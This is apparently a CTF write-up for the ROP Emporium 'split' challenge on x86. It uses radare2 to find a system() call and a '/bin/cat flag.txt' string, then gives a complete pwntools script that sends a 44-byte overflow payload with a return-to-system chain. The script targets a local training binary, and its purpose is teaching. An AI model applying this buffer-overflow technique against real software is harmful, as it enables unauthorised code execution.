ROP Emporium split Writeup (x86)
Introduction
ROP Emporium provides a series of challenges to learn and practice Return Oriented Programming (ROP). This is the second challenge of eight.
According to the challenge page our goal is to call system
with the argument /bin/cat flag.txt
. This string is also present in the binary!
This is what a hint will look like!
x86 Calling Convention
We know from the first challenge we need to set the instruction pointer to a function address in order to call that function. But how do we pass arguments to those functions?
In x86
, we pass each argument onto the stack. This is easy since we already control the stack! There are other x86
calling conventions but passing arguments is all we need to know for our purposes
Exploit Crafting
The offset for x86
challenges will be 44 bytes
. If you want to know how to get this value see the ret2win writeup
Function Address
Is there an address where
system()
is called?
Using radare2
we can analyze a binary by running aaa
. To list functions with their addresses we can run afl
Let’s investigate usefulFunction
. We can view the assembly with the following commands
1
2
3
s sym.usefulFunction
V
p
This function seems to call
the system()
function with the argument /bin/ls
. We want to change the argument but let’s take note of the call
address 0x0804861a
String Address
The string
/bin/cat flag.txt
exists in the binary
Using radare2
again we can search for case insensitive strings with the /i
command. So to find the address of /bin/cat flag.txt
we run
1
/i /bin/cat flag.txt
Awesome the address of the string is 0x0804a030
Exploit
Now we have everything we need to build the exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/bin/python3
from pwn import *
# useful addresses
str_addr = 0x0804a030
sys_addr = 0x0804861a
# create payload
payload = b'A' * 44
# call sys
payload += p32(sys_addr)
# set arg1
payload += p32(str_addr)
# send payload + receive flag
io = process('./split32')
io.recv()
io.sendline(payload)
print(io.recvline())
success(io.recvline())
Conclusion
This challenge takes things a step further than just calling an arbitrary function by introducting the ability to set arbitrary arguments for that function.